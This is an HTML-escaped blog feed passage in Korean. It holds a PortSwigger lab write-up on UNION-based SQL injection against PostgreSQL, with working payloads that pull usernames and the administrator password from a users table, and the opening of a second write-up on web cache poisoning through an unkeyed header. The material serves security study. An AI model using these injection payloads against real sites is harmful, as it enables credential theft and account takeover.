&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;10_union 사용가능 확인.png&quot; data-origin-width=&quot;1375&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lnP7w/dJMcacXN6M3/zJM72SyZECvEEDTkkMsRk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lnP7w/dJMcacXN6M3/zJM72SyZECvEEDTkkMsRk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lnP7w/dJMcacXN6M3/zJM72SyZECvEEDTkkMsRk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlnP7w%2FdJMcacXN6M3%2FzJM72SyZECvEEDTkkMsRk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;338&quot; data-filename=&quot;10_union 사용가능 확인.png&quot; data-origin-width=&quot;1375&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;데이터 타입을 알아내기 위해 첫 번째 컬럼 위치에 숫자를 삽입하고 응답을 확인합니다. 에러가 발생하지 않고 정상적으로 응답이 반환되기 때문에 첫 번째 컬럼은 데이터 타입이 숫자형인 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;10_첫번째 컬럼 데이터 타입 숫자.png&quot; data-origin-width=&quot;1378&quot; data-origin-height=&quot;545&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcv47m/dJMcagy7RxS/k65Zw67uGn2MF16ma0iezk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcv47m/dJMcagy7RxS/k65Zw67uGn2MF16ma0iezk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcv47m/dJMcagy7RxS/k65Zw67uGn2MF16ma0iezk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbcv47m%2FdJMcagy7RxS%2Fk65Zw67uGn2MF16ma0iezk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;336&quot; data-filename=&quot;10_첫번째 컬럼 데이터 타입 숫자.png&quot; data-origin-width=&quot;1378&quot; data-origin-height=&quot;545&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이어서 두 번째 컬럼에도 숫자를 넣고 응답을 확인합니다. 에러가 발생하는 것을 볼 수 있으며 두 번째 컬럼의 경우 데이터 타입이 숫자형이 아니라는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;11_두번째 컬럼 데이터 타입 숫자 실패.png&quot; data-origin-width=&quot;1371&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qYOLE/dJMcabYWK1w/GfyTjRJKJrqNIASva6tk10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qYOLE/dJMcabYWK1w/GfyTjRJKJrqNIASva6tk10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qYOLE/dJMcabYWK1w/GfyTjRJKJrqNIASva6tk10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqYOLE%2FdJMcabYWK1w%2FGfyTjRJKJrqNIASva6tk10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;339&quot; data-filename=&quot;11_두번째 컬럼 데이터 타입 숫자 실패.png&quot; data-origin-width=&quot;1371&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이번엔 두 번째 컬럼에 문자열을 삽입하고 응답을 확인합니다. 에러가 발생하지 않고 응답이 정상적으로 반환되고 있기 때문에 두 번째 컬럼은 데이터 타입이 문자열에 해당한다는 것을 알 수 있습니다. 또한 두 번째 컬럼에 삽입했던 값이 화면에 출력되는 것도 확인할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;12_두번째 컬럼 데이터 타입 문자열 성공 및 두번재 컬럼내용 하면에 출력.png&quot; data-origin-width=&quot;1377&quot; data-origin-height=&quot;548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dkVcLQ/dJMcabdtipq/IWD4796amnANIaV4N3Rkt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dkVcLQ/dJMcabdtipq/IWD4796amnANIaV4N3Rkt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dkVcLQ/dJMcabdtipq/IWD4796amnANIaV4N3Rkt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdkVcLQ%2FdJMcabdtipq%2FIWD4796amnANIaV4N3Rkt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;338&quot; data-filename=&quot;12_두번째 컬럼 데이터 타입 문자열 성공 및 두번재 컬럼내용 하면에 출력.png&quot; data-origin-width=&quot;1377&quot; data-origin-height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;두&amp;nbsp;컬럼의&amp;nbsp;데이터&amp;nbsp;타입을&amp;nbsp;파악했고&amp;nbsp;어떤&amp;nbsp;DB를&amp;nbsp;사용&amp;nbsp;중인지&amp;nbsp;알아내기&amp;nbsp;위해서&amp;nbsp;DB&amp;nbsp;version을&amp;nbsp;출력하는&amp;nbsp;함수를&amp;nbsp;사용합니다.&amp;nbsp;이때&amp;nbsp;DB&amp;nbsp;별&amp;nbsp;version을&amp;nbsp;출력해&amp;nbsp;주는&amp;nbsp;함수&amp;nbsp;또는&amp;nbsp;구문이&amp;nbsp;다를&amp;nbsp;수&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;여러&amp;nbsp;가지를&amp;nbsp;시도해&amp;nbsp;봐야&amp;nbsp;합니다.&amp;nbsp;화면에&amp;nbsp;출력되는&amp;nbsp;컬럼인&amp;nbsp;두&amp;nbsp;번째&amp;nbsp;컬럼에&amp;nbsp;version()&amp;nbsp;함수를&amp;nbsp;입력해&amp;nbsp;봤을&amp;nbsp;때&amp;nbsp;결과를&amp;nbsp;보면&amp;nbsp;PostgreSQL을&amp;nbsp;사용하고&amp;nbsp;있다는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;13_version 확인 postgresql.png&quot; data-origin-width=&quot;1375&quot; data-origin-height=&quot;545&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFlQ05/dJMcagTsH8C/zfdkM8SLEuYEtGUfiIh7kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFlQ05/dJMcagTsH8C/zfdkM8SLEuYEtGUfiIh7kk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFlQ05/dJMcagTsH8C/zfdkM8SLEuYEtGUfiIh7kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFlQ05%2FdJMcagTsH8C%2FzfdkM8SLEuYEtGUfiIh7kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;337&quot; data-filename=&quot;13_version 확인 postgresql.png&quot; data-origin-width=&quot;1375&quot; data-origin-height=&quot;545&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제에서 설명했듯이 users 테이블에 username과 password 컬럼이 있기 때문에 다음 페이로드를 삽입하여 administrator 계정이 존재하는지 확인합니다. &lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 101px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 101px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 101px;&quot;&gt;&lt;b&gt;페이로드:&lt;/b&gt;&amp;nbsp;'+union+select+1,username+from+users-- &lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;users&amp;nbsp;테이블로부터&amp;nbsp;username&amp;nbsp;컬럼의&amp;nbsp;데이터를&amp;nbsp;가져옵니다.&amp;nbsp;두&amp;nbsp;번째&amp;nbsp;컬럼에&amp;nbsp;값이&amp;nbsp;들어갔을&amp;nbsp;때&amp;nbsp;화면에&amp;nbsp;출력이&amp;nbsp;되기&amp;nbsp;때문에&amp;nbsp;두&amp;nbsp;번째&amp;nbsp;컬럼에&amp;nbsp;username&amp;nbsp;컬럼을&amp;nbsp;삽입해야&amp;nbsp;합니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;17_admin 계정 확인.png&quot; data-origin-width=&quot;1381&quot; data-origin-height=&quot;547&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpLUJR/dJMcaaeEEWy/s3Lka5w4HYSyV9XnghnXr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpLUJR/dJMcaaeEEWy/s3Lka5w4HYSyV9XnghnXr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpLUJR/dJMcaaeEEWy/s3Lka5w4HYSyV9XnghnXr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpLUJR%2FdJMcaaeEEWy%2Fs3Lka5w4HYSyV9XnghnXr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;337&quot; data-filename=&quot;17_admin 계정 확인.png&quot; data-origin-width=&quot;1381&quot; data-origin-height=&quot;547&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;administrator&amp;nbsp;계정이&amp;nbsp;존재하기&amp;nbsp;때문에&amp;nbsp;해당&amp;nbsp;계정의&amp;nbsp;비밀번호를&amp;nbsp;알아내는&amp;nbsp;페이로드를&amp;nbsp;작성하여&amp;nbsp;비밀번호를&amp;nbsp;알아냅니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드:&lt;/b&gt;&amp;nbsp;'+union+select+1,password+from+users+where+username='administrator'-- &lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;users&amp;nbsp;테이블에서&amp;nbsp;username이&amp;nbsp;administrator인&amp;nbsp;계정의&amp;nbsp;비밀번호를&amp;nbsp;가져옵니다.&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;18_admin 계정의 password 알아내기.png&quot; data-origin-width=&quot;1381&quot; data-origin-height=&quot;545&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDJovK/dJMcaci92eM/FKkHPkVvqqnZf8QQ4b8HH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDJovK/dJMcaci92eM/FKkHPkVvqqnZf8QQ4b8HH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDJovK/dJMcaci92eM/FKkHPkVvqqnZf8QQ4b8HH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDJovK%2FdJMcaci92eM%2FFKkHPkVvqqnZf8QQ4b8HH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;335&quot; data-filename=&quot;18_admin 계정의 password 알아내기.png&quot; data-origin-width=&quot;1381&quot; data-origin-height=&quot;545&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추가) &lt;/b&gt;다음과&amp;nbsp;같은&amp;nbsp;페이로드로&amp;nbsp;각&amp;nbsp;계정과&amp;nbsp;비밀번호를&amp;nbsp;한&amp;nbsp;번에&amp;nbsp;출력할&amp;nbsp;수도&amp;nbsp;있습니다.&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드:&lt;/b&gt; '+union+select+null,username||'-'||password+from+users--&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;PostgreSQL에서&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; ||&amp;nbsp;&lt;/span&gt; 연산자는 문자열을 연결할 때 사용하는 연산자입니다. 예를 들면&amp;nbsp; &lt;br /&gt;입력: &lt;b&gt;'te' || ' ' || 'st'&lt;/b&gt; &lt;br /&gt;결과: &lt;b&gt;te st&lt;/b&gt; &lt;br /&gt;이런 식입니다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;현재 화면에 출력되는 컬럼은 두 번째 컬럼 하나뿐입니다. 따라서 사용자의 계정과 비밀번호를 한 번에 출력할 수 없는 상황이지만 문자열을 연결해 주는&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; ||&amp;nbsp;&lt;/span&gt; 연산자를 사용한다면 한 번에 여러 개의 컬럼 데이터를 추출할 수 있게 됩니다. username||'-'||password 를 입력하면 (유저이름)-(비밀번호)가 화면에 출력되게 됩니다. 여기서&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; -&amp;nbsp;&lt;/span&gt; 기호는 사용자의 이름과 비밀번호를 구분하기 위해서 사용한 기호입니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;추가내용.png&quot; data-origin-width=&quot;1127&quot; data-origin-height=&quot;559&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AhGlh/dJMcaffYJCn/cUoyxnRSWq5b0y8VVur5Y0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AhGlh/dJMcaffYJCn/cUoyxnRSWq5b0y8VVur5Y0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AhGlh/dJMcaffYJCn/cUoyxnRSWq5b0y8VVur5Y0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAhGlh%2FdJMcaffYJCn%2FcUoyxnRSWq5b0y8VVur5Y0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;422&quot; data-filename=&quot;추가내용.png&quot; data-origin-width=&quot;1127&quot; data-origin-height=&quot;559&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;My account 버튼을 클릭해서 로그인 입력 창으로 이동한 뒤 알아낸 비밀번호를 가지고 로그인 administrator의 계정으로 로그인을 시도합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;19_알아낸 계정정보로 로그인 시도.png&quot; data-origin-width=&quot;849&quot; data-origin-height=&quot;537&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JLkzR/dJMcacXN8pA/2HFx9AI4kNXXnRL7I7C3pK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JLkzR/dJMcacXN8pA/2HFx9AI4kNXXnRL7I7C3pK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JLkzR/dJMcacXN8pA/2HFx9AI4kNXXnRL7I7C3pK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJLkzR%2FdJMcacXN8pA%2F2HFx9AI4kNXXnRL7I7C3pK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;443&quot; data-filename=&quot;19_알아낸 계정정보로 로그인 시도.png&quot; data-origin-width=&quot;849&quot; data-origin-height=&quot;537&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;UNION&amp;nbsp;SQL&amp;nbsp;Injection&amp;nbsp;공격을&amp;nbsp;통해&amp;nbsp;알아낸&amp;nbsp;administrator&amp;nbsp;비밀번호로&amp;nbsp;로그인이&amp;nbsp;되면서&amp;nbsp;해당&amp;nbsp;랩&amp;nbsp;문제를&amp;nbsp;클리어하게&amp;nbsp;됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;20_LAB 클리어.png&quot; data-origin-width=&quot;851&quot; data-origin-height=&quot;538&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tIWvS/dJMcadbgDSI/5mLdKzLyVWaH5Bf1Iok7SK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tIWvS/dJMcadbgDSI/5mLdKzLyVWaH5Bf1Iok7SK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tIWvS/dJMcadbgDSI/5mLdKzLyVWaH5Bf1Iok7SK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtIWvS%2FdJMcadbgDSI%2F5mLdKzLyVWaH5Bf1Iok7SK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;443&quot; data-filename=&quot;20_LAB 클리어.png&quot; data-origin-width=&quot;851&quot; data-origin-height=&quot;538&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>portswigger</category>
      <category>portswigger web security academy</category>
      <category>SQL INJECTION</category>
      <category>SQL injection UNION attack</category>
      <category>union sql injection</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/32</guid>
      <comments>https://code000.tistory.com/entry/Lab-SQL-injection-UNION-attack-retrieving-multiple-values-in-a-single-column#entry32comment</comments>
      <pubDate>Thu, 18 Jun 2026 13:30:12 +0900</pubDate>
    </item>
    <item>
      <title>Lab: Web cache poisoning with an unkeyed header</title>
      <link>https://code000.tistory.com/entry/Lab-Web-cache-poisoning-with-an-unkeyed-header</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt; 캐시 포이즈닝 취약점을 이용하여 방문자의 브라우저에서 alert(document.cookie)를 실행되도록 하는 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Burp Suite + Param Miner(Extension)&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;사전 지식&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;-&amp;nbsp;웹&amp;nbsp;캐시&amp;nbsp;포이즈닝(Web&amp;nbsp;Cache&amp;nbsp;Poisoning)&amp;nbsp; &lt;/b&gt;&lt;br /&gt;캐시&amp;nbsp;서버에&amp;nbsp;악의적인&amp;nbsp;응답을&amp;nbsp;저장시켜서&amp;nbsp;해당&amp;nbsp;캐시를&amp;nbsp;받는&amp;nbsp;타&amp;nbsp;사용자에게&amp;nbsp;공격을&amp;nbsp;수행하는&amp;nbsp;공격&amp;nbsp;기법입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;-&amp;nbsp;캐시&amp;nbsp;키(Cache&amp;nbsp;Key) &lt;/b&gt;&lt;br /&gt;캐시&amp;nbsp;서버가&amp;nbsp;요청을&amp;nbsp;식별할&amp;nbsp;때&amp;nbsp;사용하는&amp;nbsp;고유한&amp;nbsp;값입니다.&amp;nbsp;캐시&amp;nbsp;서버는&amp;nbsp;모든&amp;nbsp;헤더를&amp;nbsp;캐시&amp;nbsp;키로&amp;nbsp;사용하지&amp;nbsp;않고&amp;nbsp;일부&amp;nbsp;헤더만&amp;nbsp;캐시&amp;nbsp;키로&amp;nbsp;사용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;-&amp;nbsp;Unkeyed&amp;nbsp;헤더 &lt;/b&gt;&lt;br /&gt;캐시&amp;nbsp;키에서&amp;nbsp;제외된&amp;nbsp;헤더를&amp;nbsp;말합니다.&amp;nbsp;캐시&amp;nbsp;키로&amp;nbsp;사용되지&amp;nbsp;않지만&amp;nbsp;백엔드에서는&amp;nbsp;해당&amp;nbsp;헤더를&amp;nbsp;읽고&amp;nbsp;응답을&amp;nbsp;생성할&amp;nbsp;수&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;캐시&amp;nbsp;포이즈닝&amp;nbsp;공격에&amp;nbsp;사용될&amp;nbsp;수&amp;nbsp;있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- Cache-Control 헤더&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;max-age: 캐시 유지 시간을 나타냅니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- Age 헤더&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;캐시 된 후 얼마나 지났는지 초 단위로 나타냅니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;b&gt;- X-Cache 헤더&lt;/b&gt;&lt;/p&gt;
